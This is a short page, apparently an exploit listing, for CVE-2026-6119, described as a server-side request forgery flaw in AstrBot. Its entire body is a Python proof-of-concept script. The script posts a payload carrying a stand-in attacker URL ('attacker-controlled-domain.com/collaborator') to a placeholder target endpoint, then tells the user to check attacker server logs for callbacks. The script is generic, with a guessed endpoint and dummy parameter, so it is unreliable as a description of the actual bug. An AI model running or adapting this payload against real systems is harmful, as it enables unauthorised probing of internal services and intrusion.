CVE-2026-6119 AstrBot服务端请求伪造漏洞

import requests # Target configuration target_url = "http://target-astrbot-host:port/api_endpoint" # Replace with actual endpoint attacker_server = "http://attacker-controlled-domain.com/collaborator" # Payload exploiting the post_data.get vulnerability # The vulnerability is triggered via the API endpoint handling post_data payload = { "url": attacker_server, # Malicious URL to be requested by the server "param1": "value1" } try: print(f"Sending SSRF payload to {target_url}...") response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check your attacker server logs for incoming connections from the target.") else: print(f"[-] Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")